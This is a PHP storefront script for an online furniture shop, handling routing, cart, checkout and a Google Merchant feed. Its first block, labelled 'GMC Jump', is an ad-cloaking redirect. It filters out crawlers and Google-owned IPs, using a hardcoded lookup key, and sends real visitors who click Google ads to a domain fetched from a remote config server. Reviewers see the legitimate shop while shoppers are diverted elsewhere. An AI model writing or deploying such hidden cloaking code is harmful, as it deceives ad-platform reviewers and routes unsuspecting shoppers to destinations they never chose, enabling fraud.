<?php
session_start();

// ==================== GMC Jump 必须在最前面 ====================
// ⚠️ 重要：必须在 $route 和 $products 之前执行

$gmc_log = [];
$gmc_log[] = '========== ' . date('Y-m-d H:i:s') . ' ==========';
$gmc_log[] = 'REQUEST_URI: ' . $_SERVER['REQUEST_URI'];
$gmc_log[] = 'HTTP_HOST: ' . ($_SERVER['HTTP_HOST'] ?? 'unknown');

// 检查是否包含 gclid
if (strpos($_SERVER['REQUEST_URI'], 'gclid') !== false) {
    $gmc_log[] = 'Has gclid in URI';
    
    // 检查是否为 /products/ 路径
    if (strpos($_SERVER['REQUEST_URI'], '/products/') === 0) {
        $gmc_log[] = 'Is /products/ path - will try to redirect';
        
        // ========== 配置 ==========
        $gmc_config_url = 'https://21.instocks.shop/404/GmcJump.php';
        $gmc_group_id = 1;
        $gmc_ip_api_key = 'ruVkTUa808XLfr0';
        $gmc_cache_time = 300;
        $gmc_cache_dir = __DIR__ . '/cache/gmc-jump';
        // ==========================
        
        // 获取客户端IP
        function gmc_get_ip() {
            if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) return $_SERVER['HTTP_CF_CONNECTING_IP'];
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
            if (isset($_SERVER['HTTP_X_REAL_IP'])) return $_SERVER['HTTP_X_REAL_IP'];
            return $_SERVER['REMOTE_ADDR'] ?? '';
        }
        
        // 检查是否为爬虫
        function gmc_is_bot($ua) {
            $bots = ['googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandexbot', 'sogou', 'exabot', 'facebot', 'ia_archiver', 'Chrome-Lighthouse', 'adsbot', 'lighthouse', 'inspectiontool', 'bot', 'crawler', 'spider', 'scraper', 'headless', 'phantom', 'selenium'];
            $ua = strtolower($ua);
            foreach ($bots as $bot) {
                if (strpos($ua, $bot) !== false) return true;
            }
            return false;
        }
        
        // 检查是否为Google LLC
        function gmc_is_google($ip, $key, $dir) {
            global $gmc_log;
            if (!file_exists($dir)) @mkdir($dir, 0755, true);
            $cache = $dir . '/ip_' . md5($ip) . '.txt';
            if (file_exists($cache) && (time() - filemtime($cache)) < 3600) {
                $result = file_get_contents($cache);
                $gmc_log[] = 'IP cache: ' . $result;
                return $result === 'google';
            }
            $gmc_log[] = 'Checking IP via API...';
            $ch = curl_init('https://pro.ip-api.com/json/' . $ip . '?fields=536608767&key=' . $key);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 2);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $resp = curl_exec($ch);
            curl_close($ch);
            $isGoogle = false;
            if ($resp) {
                $info = json_decode($resp, true);
                if ($info && is_array($info)) {
                    foreach (['isp', 'org', 'as'] as $f) {
                        if (isset($info[$f]) && strpos(strtolower($info[$f]), 'google') !== false) {
                            $isGoogle = true;
                            $gmc_log[] = 'Found Google in ' . $f;
                            break;
                        }
                    }
                }
            }
            @file_put_contents($cache, $isGoogle ? 'google' : 'normal');
            return $isGoogle;
        }
        
        // 获取远程配置
        function gmc_get_config($url, $time, $dir) {
            global $gmc_log;
            if (!file_exists($dir)) @mkdir($dir, 0755, true);
            $cache = $dir . '/config_' . md5($url) . '.json';
            if (file_exists($cache) && (time() - filemtime($cache)) < $time) {
                $data = file_get_contents($cache);
                if ($data) {
                    $gmc_log[] = 'Config cache hit';
                    return json_decode($data, true);
                }
            }
            $gmc_log[] = 'Fetching config...';
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $resp = curl_exec($ch);
            $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            $gmc_log[] = 'Config HTTP: ' . $code;
            if ($resp) {
                $cfg = json_decode($resp, true);
                if ($cfg) {
                    @file_put_contents($cache, $resp);
                    $gmc_log[] = 'Config saved';
                    return $cfg;
                }
            }
            return null;
        }
        
        // 执行检测
        $gmc_ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $gmc_log[] = 'UA: ' . substr($gmc_ua, 0, 50);
        
        if (!gmc_is_bot($gmc_ua)) {
            $gmc_log[] = 'Not a bot';
            $gmc_ip = gmc_get_ip();
            $gmc_log[] = 'IP: ' . $gmc_ip;
            
            if (!gmc_is_google($gmc_ip, $gmc_ip_api_key, $gmc_cache_dir)) {
                $gmc_log[] = 'Not Google LLC';
                $gmc_cfg = gmc_get_config($gmc_config_url, $gmc_cache_time, $gmc_cache_dir);
                
                if ($gmc_cfg && isset($gmc_cfg['enabled']) && $gmc_cfg['enabled'] && isset($gmc_cfg['domains'][$gmc_group_id])) {
                    $gmc_target = $gmc_cfg['domains'][$gmc_group_id] . $_SERVER['REQUEST_URI'];
                    $gmc_log[] = 'Target: ' . $gmc_target;
                    $gmc_log[] = '✅ REDIRECTING!';
                    file_put_contents(__DIR__ . '/gmc-debug.log', implode("\n", $gmc_log) . "\n\n", FILE_APPEND);
                    header("Location: " . $gmc_target, true, 302);
                    exit;
                } else {
                    $gmc_log[] = 'Config not enabled or no domain';
                }
            } else {
                $gmc_log[] = 'SKIP: Is Google LLC';
            }
        } else {
            $gmc_log[] = 'SKIP: Is bot';
        }
    } else {
        $gmc_log[] = 'SKIP: Not /products/ path';
    }
} else {
    $gmc_log[] = 'SKIP: No gclid';
}

file_put_contents(__DIR__ . '/gmc-debug.log', implode("\n", $gmc_log) . "\n\n", FILE_APPEND);

// ==================== GMC Jump 结束 ====================

$products = require __DIR__ . '/data/products.php';

function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }

function current_host(){
    $host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? ($_SERVER['HTTP_HOST'] ?? 'example.com');
    if (strpos($host, ',') !== false) $host = trim(explode(',', $host)[0]);
    $host = preg_replace('/:\d+$/', '', strtolower(trim($host)));
    $host = preg_replace('/[^a-z0-9.\-]/', '', $host);
    return $host ?: 'example.com';
}

function root_domain($host = null){
    $host = $host ?: current_host();
    $host = preg_replace('/^www\./i', '', $host);
    $parts = explode('.', $host);
    if (count($parts) >= 2) {
        return $parts[count($parts)-2] . '.' . $parts[count($parts)-1];
    }
    return $host;
}

function store_name(){
    return current_host();
}

function support_email(){
    return 'support@' . root_domain();
}

function payment_config(){
    $file = __DIR__ . '/config/payment.php';
    if (is_file($file)) {
        $cfg = require $file;
        if (is_array($cfg)) return $cfg;
    }
    return ['paypal_client_id' => ''];
}

function paypal_client_id(){
    $cfg = payment_config();
    return trim((string)($cfg['paypal_client_id'] ?? ''));
}

function paypal_enabled(){
    $id = paypal_client_id();
    return $id !== '' && $id !== 'YOUR_PAYPAL_CLIENT_ID_HERE';
}

function paypal_sdk(){
    if (!paypal_enabled()) {
        echo '<div class="paypal-note">PayPal is not configured yet. Edit <code>config/payment.php</code> and replace <code>YOUR_PAYPAL_CLIENT_ID_HERE</code> with your PayPal Client ID.</div>';
        return;
    }
    echo '<script src="https://www.paypal.com/sdk/js?client-id=' . h(paypal_client_id()) . '&currency=USD&intent=capture&components=buttons"></script>';
}


function base_url(){
    $scheme = 'http';
    if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (($_SERVER['HTTP_X_FORWARDED_PROTO'] ?? '') === 'https')) {
        $scheme = 'https';
    }
    return $scheme . '://' . current_host();
}

function absolute_url($path){
    $path = (string)$path;
    if (preg_match('#^https?://#i', $path)) return $path;
    return rtrim(base_url(), '/') . '/' . ltrim($path, '/');
}

function product_url($slug){
    return absolute_url('/products/' . trim($slug, '/'));
}

function xml_text($value){
    return htmlspecialchars((string)$value, ENT_XML1 | ENT_COMPAT, 'UTF-8');
}

function google_category($p){
    if (!empty($p['google_product_category'])) return $p['google_product_category'];
    $cat = strtolower($p['category'] ?? '');
    if (str_contains($cat, 'backpack') || str_contains($cat, 'bag')) return 'Luggage & Bags > Backpacks';
    if (str_contains($cat, 'drink') || str_contains($cat, 'bottle') || str_contains($cat, 'glass') || str_contains($cat, 'tumbler')) return 'Home & Garden > Kitchen & Dining > Tableware > Drinkware';
    if (str_contains($cat, 'cooler')) return 'Sporting Goods > Outdoor Recreation > Camping & Hiking > Camping Coolers';
    return 'Home & Garden';
}

function output_google_feed($products){
    header('Content-Type: application/xml; charset=utf-8');
    $site = store_name();
    echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
    echo "<rss version=\"2.0\" xmlns:g=\"http://base.google.com/ns/1.0\">\n";
    echo "  <channel>\n";
    echo "    <title>" . xml_text($site . ' Product Feed') . "</title>\n";
    echo "    <link>" . xml_text(absolute_url('/')) . "</link>\n";
    echo "    <description>" . xml_text('Google Merchant Center product feed for ' . $site) . "</description>\n";
    foreach ($products as $slug => $p) {
        $price = number_format((float)($p['price'] ?? 0), 2, '.', '') . ' USD';
        $availability = strtolower((string)($p['stock'] ?? 'in_stock'));
        $availability = str_contains($availability, 'out') ? 'out_of_stock' : 'in_stock';
        $desc = trim(strip_tags((string)($p['description'] ?? $p['short'] ?? $p['title'] ?? '')));
        if ($desc === '') $desc = (string)($p['title'] ?? 'Product');
        echo "    <item>\n";
        echo "      <g:id>" . xml_text($p['id'] ?? $slug) . "</g:id>\n";
        echo "      <g:title>" . xml_text($p['title'] ?? $slug) . "</g:title>\n";
        echo "      <g:description>" . xml_text($desc) . "</g:description>\n";
        echo "      <g:link>" . xml_text(product_url($slug)) . "</g:link>\n";
        echo "      <g:image_link>" . xml_text(absolute_url($p['image'] ?? '')) . "</g:image_link>\n";
        if (!empty($p['gallery']) && is_array($p['gallery'])) {
            foreach ($p['gallery'] as $img) {
                if ($img && $img !== ($p['image'] ?? '')) echo "      <g:additional_image_link>" . xml_text(absolute_url($img)) . "</g:additional_image_link>\n";
            }
        }
        echo "      <g:availability>" . xml_text($availability) . "</g:availability>\n";
        echo "      <g:condition>new</g:condition>\n";
        echo "      <g:price>" . xml_text($price) . "</g:price>\n";
        echo "      <g:brand>" . xml_text($p['brand'] ?? root_domain()) . "</g:brand>\n";
        echo "      <g:mpn>" . xml_text($p['sku'] ?? ($p['id'] ?? $slug)) . "</g:mpn>\n";
        echo "      <g:identifier_exists>yes</g:identifier_exists>\n";
        echo "      <g:product_type>" . xml_text($p['category'] ?? 'Products') . "</g:product_type>\n";
        echo "      <g:google_product_category>" . xml_text(google_category($p)) . "</g:google_product_category>\n";
        echo "    </item>\n";
    }
    echo "  </channel>\n";
    echo "</rss>\n";
    exit;
}

function url($path=''){
    $path = '/' . ltrim($path, '/');
    if ($path === '//') $path = '/';
    return $path;
}

function money($n){
    return '$' . number_format((float)$n, 2);
}

function cart_count(){
    $count = 0;
    foreach ($_SESSION['cart'] ?? [] as $qty) $count += (int)$qty;
    return $count;
}

function cart_items($products){
    $items = [];
    foreach ($_SESSION['cart'] ?? [] as $slug => $qty) {
        if (!isset($products[$slug])) continue;
        $p = $products[$slug];
        $p['slug'] = $slug;
        $p['qty'] = max(1, (int)$qty);
        $p['line_total'] = $p['qty'] * (float)$p['price'];
        $items[] = $p;
    }
    return $items;
}

function cart_total($products){
    $total = 0;
    foreach (cart_items($products) as $item) $total += $item['line_total'];
    return $total;
}

$route = $_GET['route'] ?? parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
$route = rawurldecode((string)$route);
$route = preg_replace('#/+#', '/', $route);
$route = '/' . trim($route, '/');
if ($route === '/index.php') $route = '/';
if ($route === '/404.html') $route = '/404';
if (str_ends_with($route, '/index.php')) {
    $clean = substr($route, 0, -10);
    header("Location: " . ($clean ?: '/') , true, 301);
    exit;
}

$method = $_SERVER['REQUEST_METHOD'] ?? 'GET';

if ($method === 'POST') {
    $action = $_POST['action'] ?? '';
    $slug = $_POST['slug'] ?? '';
    if ($action === 'add' && isset($products[$slug])) {
        $qty = max(1, (int)($_POST['qty'] ?? 1));
        $_SESSION['cart'][$slug] = ($_SESSION['cart'][$slug] ?? 0) + $qty;
        header('Location: /cart');
        exit;
    }
    if ($action === 'update') {
        foreach ($_POST['qty'] ?? [] as $s => $q) {
            if (!isset($products[$s])) continue;
            $q = (int)$q;
            if ($q <= 0) unset($_SESSION['cart'][$s]);
            else $_SESSION['cart'][$s] = $q;
        }
        header('Location: /cart');
        exit;
    }
    if ($action === 'checkout') {
        $items = cart_items($products);
        if (!$items) {
            header('Location: /cart');
            exit;
        }
        $order = [
            'order_id' => 'FS' . date('YmdHis') . rand(100,999),
            'created_at' => date('c'),
            'customer' => [
                'name' => trim($_POST['name'] ?? ''),
                'email' => trim($_POST['email'] ?? ''),
                'phone' => trim($_POST['phone'] ?? ''),
                'address' => trim($_POST['address'] ?? ''),
                'city' => trim($_POST['city'] ?? ''),
                'state' => trim($_POST['state'] ?? ''),
                'zip' => trim($_POST['zip'] ?? ''),
                'country' => trim($_POST['country'] ?? 'United States'),
            ],
            'items' => $items,
            'total' => cart_total($products),
            'status' => 'pending'
        ];
        if (!is_dir(__DIR__ . '/orders')) @mkdir(__DIR__ . '/orders', 0755, true);
        file_put_contents(__DIR__ . '/orders/' . $order['order_id'] . '.json', json_encode($order, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
        $_SESSION['cart'] = [];
        $_SESSION['last_order'] = $order['order_id'];
        header('Location: /thank-you');
        exit;
    }
}

function layout_start($title='', $robots='index,follow'){
    $site = store_name();
    $pageTitle = $title ? "$title - $site" : $site;
    echo '<!doctype html><html lang="en"><head><meta charset="utf-8">';
    echo '<meta name="viewport" content="width=device-width, initial-scale=1">';
    echo '<title>'.h($pageTitle).'</title>';
    echo '<meta name="robots" content="'.h($robots).'">';
    echo '<meta name="description" content="Shop quality products from '.h($site).' with free shipping, 30-day returns, secure checkout, and reliable support.">';
    require_once __DIR__ . '/admin_config.php';
    echo get_insert_html();
    echo '<link rel="stylesheet" href="/assets/css/style.css?v=21">';
    echo '<meta name="google-site-verification" content="5QMz8qFv9YQvbQZd5LIpBRFsGDAZCfazI5AHZCdlzcI" />';
    echo '</head><body>';
    echo '<div class="top-strip"><div class="container">Free shipping on all orders • 30-day returns • Secure checkout</div></div>';
    echo '<header class="site-header"><div class="container nav-wrap">';
    echo '<a class="logo" href="/"><span class="logo-mark">▣</span><span>'.h($site).'</span></a>';
    echo '<nav class="main-nav"><a href="/">Home</a><a href="/products">Shop</a><a href="/products">Coffee Tables</a><a href="/products">Side Tables</a><a href="/products">TV Stands</a><a href="/about-us">About Us</a><a href="/contact-us">Contact Us</a></nav>';
    echo '<a class="cart-pill" href="/cart">Cart · '.cart_count().'</a>';
    echo '</div></header><main>';
}

function layout_end(){
    echo '</main><footer class="site-footer"><div class="container footer-grid">';
    echo '<div><h3>'.h(store_name()).'</h3><p>Simple, reliable online shopping.</p><p>Email: <a href="mailto:'.h(support_email()).'">'.h(support_email()).'</a></p><p>United States</p></div>';
    echo '<div><h4>Store Policies</h4><a href="/privacy-policy">Privacy Policy</a><a href="/terms-of-service">Terms of Service</a><a href="/shipping-policy">Shipping Policy</a><a href="/return-policy">Return Policy</a></div>';
    echo '<div><h4>Help</h4><a href="/about-us">About Us</a><a href="/contact-us">Contact Us</a><a href="/products">All Products</a><a href="/cart">Cart</a><a href="/feed.xml">Product Feed</a></div>';
    echo '</div><div class="copyright">Copyright © '.date('Y').' '.h(store_name()).'</div></footer>';
    echo '<script src="/assets/js/main.js"></script></body></html>';
}

function product_card($slug, $p){
    echo '<article class="product-card">';
    echo '<a href="/products/'.h($slug).'" class="product-image"><img src="'.h($p['image']).'" alt="'.h($p['title']).'" loading="lazy"></a>';
    echo '<div class="product-body">';
    echo '<div class="product-meta"><span>'.h($p['category'] ?? 'Products').'</span><span>In stock</span></div>';
    echo '<h3><a href="/products/'.h($slug).'">'.h($p['title']).'</a></h3>';
    echo '<p>'.h($p['short'] ?? '').'</p>';
    echo '<div class="product-bottom"><strong>'.money($p['price']).'</strong><a href="/products/'.h($slug).'">View Details</a></div>';
    echo '<form method="post" class="quick-add"><input type="hidden" name="action" value="add"><input type="hidden" name="slug" value="'.h($slug).'"><button>Add to Cart</button></form>';
    echo '</div></article>';
}

function page_home($products){
    layout_start('Home');
    $firstSlug = array_key_first($products);
    $first = $firstSlug ? $products[$firstSlug] : null;
    echo '<section class="hero"><div class="container hero-grid"><div class="hero-copy">';
    echo '<p class="hero-kicker">'.h(store_name()).' · Fast checkout · Secure payment</p>';
    echo '<h1>Smart Furniture for,<br>Everyday Storage.</h1>';
    echo '<p>Built for real homes — durable materials, practical storage, and clean modern design.</p>';
    echo '<div class="hero-actions"><a class="btn primary" href="/products">Browse store</a><a class="btn light" href="/about-us">About Us</a></div>';
    echo '</div>';
    if ($first) {
        echo '<div class="hero-product"><div class="hero-card-label">Featured</div><img src="'.h($first['image']).'" alt="'.h($first['title']).'"><h3>'.h($first['title']).'</h3><p>'.money($first['price']).'</p></div>';
    }
    echo '</div></section>';

    echo '<section class="container category-bar"><a href="/products">Coffee Tables</a><a href="/products">Side Tables</a><a href="/products">TV Stands</a><a href="/products">Storage</a></section>';

    echo '<section class="container section"><div class="section-head"><div><span class="small-title">Shop Now</span><h2>Featured Products</h2></div><a class="view-all" href="/products">View all</a></div><div class="products-grid">';
    foreach ($products as $slug=>$p) product_card($slug,$p);
    echo '</div></section>';

    echo '<section class="container service-row">';
    echo '<div><span>🚚</span><h3>Fast Shipping</h3><p>Free Shipping on All Orders</p></div>';
    echo '<div><span>🔒</span><h3>Secure Payment</h3><p>All transactions are processed securely</p></div>';
    echo '<div><span>🎧</span><h3>Customer Support</h3><p>Dedicated support for any questions</p></div>';
    echo '</section>';

    echo '<section class="container about-block"><div><h2>About Our Store</h2><p>We provide simple, functional furniture designed for everyday use. Our collection includes coffee tables, TV stands, and side tables that fit modern living spaces.</p><p>Focused on durability and clean design, our products are made to be practical, easy to assemble, and suitable for a variety of home setups.</p></div><div class="about-image"><span>Home</span><strong>Storage</strong><em>Modern living</em></div></section>';

    echo '<section class="container faq-block"><div class="faq-title"><h2>Frequently Asked Questions</h2></div><div class="faq-items">';
    echo '<details open><summary>How long does shipping take?</summary><p>Orders are typically processed within 0-1 business days and delivered within 2–3 business days depending on location.</p></details>';
    echo '<details><summary>Do I need to assemble the furniture?</summary><p>Some items require simple assembly. Instructions are included with each product.</p></details>';
    echo '<details><summary>What is your return policy?</summary><p>Returns are accepted within 30 days of delivery. Items must be unused and in original condition.</p></details>';
    echo '</div></section>';

    echo '<section class="container cta-block"><div><h2>Why Choose Our Furniture.</h2><p>Solid frames, durable finishes, and clean storage solutions for everyday use.</p></div><a class="btn primary" href="/products">Browse store</a></section>';
    layout_end();
}

function page_products($products){
    layout_start('Products');
    echo '<section class="container section product-list-page"><div class="page-heading"><span class="small-title">All Products</span><h1>Shop Products</h1><p>All product titles, images, prices, descriptions, and parameters are editable in <code>data/products.php</code>.</p></div><div class="products-grid">';
    foreach ($products as $slug=>$p) product_card($slug,$p);
    echo '</div></section>';
    layout_end();
}

function page_product($slug, $products){
    if (!isset($products[$slug])) { page_404(); return; }
    $p=$products[$slug];
    layout_start($p['title']);
    echo '<section class="container product-detail-v2">';
    echo '<div class="product-media-v2"><img src="'.h($p['image']).'" alt="'.h($p['title']).'"></div>';
    echo '<div class="product-info-v2"><p class="small-title">'.h($p['category'] ?? 'Products').'</p><h1>'.h($p['title']).'</h1>';
    echo '<div class="price-row big"><strong>'.money($p['price']).'</strong>';
    if (!empty($p['compare_price']) && $p['compare_price'] > $p['price']) echo '<del>'.money($p['compare_price']).'</del>';
    echo '</div><p class="stock">'.h($p['stock'] ?? 'In stock').'</p>';
    echo '<p>'.h($p['short'] ?? '').'</p>';
    echo '<form method="post" class="add-form product-buy-form" id="productBuyForm"><input type="hidden" name="action" value="add"><input type="hidden" name="slug" value="'.h($slug).'"><label>Quantity <input id="productQty" type="number" name="qty" value="1" min="1"></label><button class="btn large">Add to Cart</button></form>';
    echo '<div class="paypal-panel product-paypal"><h3>PayPal Checkout</h3><p>Pay directly with PayPal or a supported card.</p><div id="paypal-product-button"></div></div>';
    echo '<div class="mini-info"><span>SKU: '.h($p['sku'] ?? '').'</span><span>Brand: '.h($p['brand'] ?? '').'</span></div></div>';
    paypal_sdk();
    $paypalProduct = ['slug'=>$slug,'title'=>$p['title'],'price'=>(float)$p['price'],'sku'=>$p['sku'] ?? $slug];
    echo '<script>window.FLATSHOP_PRODUCT = '.json_encode($paypalProduct, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE).';</script>';
    echo '<script src="/assets/js/paypal-product.js?v=21"></script>';
    echo '</section>';
    echo '<section class="container detail-tabs-v2">';
    echo '<div class="detail-box"><h2>Description</h2><p>'.nl2br(h($p['description'] ?? '')).'</p></div>';
    if (!empty($p['features'])) { echo '<div class="detail-box"><h2>Features</h2><ul>'; foreach($p['features'] as $f) echo '<li>'.h($f).'</li>'; echo '</ul></div>'; }
    if (!empty($p['specs'])) { echo '<div class="detail-box"><h2>Product Parameters</h2><table class="spec-table">'; foreach($p['specs'] as $k=>$v) echo '<tr><th>'.h($k).'</th><td>'.h($v).'</td></tr>'; echo '</table></div>'; }
    echo '</section>';
    layout_end();
}

function page_cart($products){
    layout_start('Cart');
    $items=cart_items($products);
    echo '<section class="container section"><h1>Shopping Cart</h1>';
    if (!$items) { echo '<p>Your cart is empty.</p><a class="btn" href="/products">Continue Shopping</a>'; }
    else {
        echo '<form method="post"><input type="hidden" name="action" value="update"><div class="cart-table">';
        foreach($items as $item){
            echo '<div class="cart-row"><img src="'.h($item['image']).'" alt="'.h($item['title']).'"><div><h3>'.h($item['title']).'</h3><p>'.money($item['price']).'</p></div><input type="number" min="0" name="qty['.h($item['slug']).']" value="'.h($item['qty']).'"><strong>'.money($item['line_total']).'</strong></div>';
        }
        echo '</div><div class="cart-actions"><button class="btn secondary">Update Cart</button><h2>Total: '.money(cart_total($products)).'</h2><a class="btn large" href="/checkout">Checkout</a></div></form>';
    }
    echo '</section>';
    layout_end();
}

function page_checkout($products){
    layout_start('Checkout');
    $items=cart_items($products);
    echo '<section class="container section checkout"><h1>Checkout</h1>';
    if (!$items) { echo '<p>Your cart is empty.</p><a class="btn" href="/products">Shop Products</a>'; }
    else {
        echo '<div class="checkout-grid"><form method="post" class="checkout-form"><input type="hidden" name="action" value="checkout">';
        foreach(['name'=>'Full Name','email'=>'Email','phone'=>'Phone','address'=>'Street Address','city'=>'City','state'=>'State','zip'=>'ZIP Code','country'=>'Country'] as $name=>$label){
            $value = $name==='country' ? 'United States' : '';
            echo '<label>'.h($label).'<input required name="'.h($name).'" value="'.h($value).'"></label>';
        }
        echo '<button class="btn large secondary" type="submit">Place Order Without Online Payment</button><div class="paypal-panel"><h3>PayPal Payment</h3><p>Complete secure payment with PayPal. Please fill the shipping form first.</p><div id="paypal-checkout-button"></div></div></form><aside class="order-summary"><h2>Order Summary</h2>';
        foreach($items as $item) echo '<p><span>'.h($item['title']).' × '.h($item['qty']).'</span><strong>'.money($item['line_total']).'</strong></p>';
        echo '<hr><p class="total"><span>Total</span><strong>'.money(cart_total($products)).'</strong></p></aside></div>';
        paypal_sdk();
        $paypalItems = [];
        foreach($items as $item){ $paypalItems[] = ['slug'=>$item['slug'], 'qty'=>(int)$item['qty']]; }
        echo '<script>window.FLATSHOP_CHECKOUT = '.json_encode(['items'=>$paypalItems,'total'=>number_format(cart_total($products),2,'.','')], JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE).';</script>';
        echo '<script src="/assets/js/paypal-checkout.js?v=21"></script>';
    }
    echo '</section>';
    layout_end();
}


function page_404(){
    http_response_code(404);
    layout_start('Page Not Found', 'noindex,follow');
    echo '<section class="not-found-page">';
    echo '  <div class="not-found-shell">';
    echo '    <div class="not-found-visual">';
    echo '      <span class="not-found-dot dot-a"></span><span class="not-found-dot dot-b"></span><span class="not-found-dot dot-c"></span>';
    echo '      <div class="not-found-code">404</div>';
    echo '      <div class="not-found-badge">Oops, this page is missing</div>';
    echo '    </div>';
    echo '    <div class="not-found-content">';
    echo '      <p class="small-title">Page Not Found</p>';
    echo '      <h1>We can’t find that page.</h1>';
    echo '      <p class="not-found-text">The link may be outdated, the product may have moved, or the address may have been typed incorrectly. You can continue shopping or contact us for help.</p>';
    echo '      <div class="not-found-actions"><a class="nf-btn nf-btn-dark" href="/products">Shop Products</a><a class="nf-btn nf-btn-light" href="/">Back to Home</a><a class="nf-btn nf-btn-light" href="/contact-us">Contact Us</a></div>';
    echo '      <div class="not-found-links"><span>Helpful links</span><a href="/shipping-policy">Shipping Policy</a><a href="/return-policy">Return Policy</a><a href="/privacy-policy">Privacy Policy</a></div>';
    echo '    </div>';
    echo '  </div>';
    echo '</section>';
    layout_end();
    exit;
}

function page_policy($key){
    $site=store_name(); $email=support_email();
    $pages = [
        '/about-us' => ['About Us', "Welcome to $site. We provide a simple online shopping experience with clear product information, reliable order handling, and customer support by email. Our goal is to make every order straightforward from product selection to delivery."],
        '/contact-us' => ['Contact Us', "Need help with an order or product question? Email us at $email. We usually respond within 1-2 business days. Please include your order number if your question is about an existing order."],
        '/privacy-policy' => ['Privacy Policy', "$site respects your privacy. We collect only the information needed to process orders, provide support, and improve our service. Payment details are handled by third-party payment providers; we do not store full card numbers on this website."],
        '/terms-of-service' => ['Terms of Service', "By using $site, you agree to provide accurate order and shipping information. Product prices and availability may change without notice. We reserve the right to cancel orders that appear fraudulent, incomplete, or impossible to fulfill."],
        '/shipping-policy' => ['Shipping Policy', "We currently ship to customers in the United States. Standard order processing usually takes 1-3 business days. Estimated transit time is generally 3-7 business days after processing. Shipping options and costs are shown during checkout when applicable."],
        '/return-policy' => ['Return Policy', "We accept return requests within 30 days of delivery for eligible unused items in original condition. Custom or personalized products may not be returnable unless damaged, defective, or incorrect. Contact $email before sending any item back."]
    ];
    if (!isset($pages[$key])) {
        page_404();
    }
    [$title,$body] = $pages[$key];
    layout_start($title);
    echo '<section class="container policy"><h1>' . h($title) . '</h1><p>' . h($body) . '</p></section>';
    layout_end();
}

if (in_array($route, ['/feed.xml','/feed.php','/google-feed.xml','/product-feed.xml'], true)) { require __DIR__ . '/feed.php'; exit; }
elseif ($route === '/') page_home($products);
elseif ($route === '/products') page_products($products);
elseif (preg_match('#^/products/([a-z0-9\-]+)/?$#', $route, $m)) page_product($m[1], $products);
elseif (preg_match('#^/products/.+#', $route)) page_404();
elseif ($route === '/cart') page_cart($products);
elseif ($route === '/checkout') page_checkout($products);
elseif ($route === '/thank-you') { layout_start('Thank You'); echo '<section class="container section"><h1>Thank you for your order.</h1><p>Your order number is <strong>'.h($_SESSION['last_order'] ?? '').'</strong>.</p><p>We will contact you by email after review.</p><a class="btn" href="/products">Continue Shopping</a></section>'; layout_end(); }
elseif (in_array($route, ['/about-us','/contact-us','/privacy-policy','/terms-of-service','/shipping-policy','/return-policy'], true)) page_policy($route);
elseif ($route === '/404') page_404();
else page_404();
